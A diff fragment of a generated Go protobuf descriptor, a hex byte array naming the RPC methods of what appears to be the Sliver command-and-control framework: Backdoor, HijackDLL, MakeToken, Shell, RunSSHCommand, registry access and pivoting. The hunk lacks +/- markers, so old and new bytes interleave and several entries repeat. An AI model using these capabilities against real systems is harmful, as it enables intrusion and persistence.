0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0x9d, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0xe4, 0x35, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -306,153 +306,165 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52,
0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
0x70, 0x74, 0x79, 0x12, 0x47, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74,
0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x40, 0x0a, 0x0c,
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72,
0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73,
0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73,
0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70,
0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72,
0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74,
0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65,
0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72,
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e,
0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72,
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42,
0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76,
0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54,
0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06,
0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53,
0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08,
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a,
0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74,
0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12,
0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64,
0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65,
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a,
0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38,
0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e,
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45,
0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e,
0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e,
0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74,
0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65,
0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12,
0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52,
0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61,
0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65,
0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72,
0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65,
0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74,
0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48,
0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61,
0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65,
0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76,
0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50,
0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c,
0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74,
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74,
0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f,
0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a,
0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57,
0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f,
0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73,
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12,
0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71,
0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74,
0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
